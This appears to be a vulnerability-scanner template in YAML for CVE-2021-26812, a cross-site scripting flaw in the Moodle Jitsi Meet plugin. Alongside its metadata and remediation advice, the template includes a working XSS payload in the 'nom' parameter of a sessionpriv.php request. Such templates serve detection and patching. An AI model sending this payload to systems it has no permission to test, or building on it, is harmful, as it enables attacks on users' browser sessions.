48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2021-26812
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info:
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name: Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
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author: aceseven (digisec360)
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severity: medium
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description: Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
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remediation: |
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Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.
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reference:
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- https://github.com/udima-university/moodle-mod_jitsi/issues/67
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26812
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-26812
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cwe-id: CWE-79
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epss-score: 0.00633
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epss-percentile: 0.76729
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cpe: cpe:2.3:a:jitsi:meet:*:*:*:*:*:moodle:*:*
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metadata:
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max-request: 1
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vendor: jitsi
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product: meet
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framework: moodle
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tags: cve,cve2021,moodle,jitsi,xss,plugin
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http:
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- method: GET
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path:
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- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "alert(document.domain);"
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- type: word
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part: header
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words:
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- "MoodleSession"
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- type: status
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status:
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- 200
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# digest: 490a00463044022055552118db016ec116027b2dac2b398eaeceeeb95127c2b3de5bcd2eab86beb7022037e90df2067cb3e2693c853567470a1087d36f58e2509bcc1b489a7f7dbbd36a:922c64590222798bb761d5b6d8e72950 |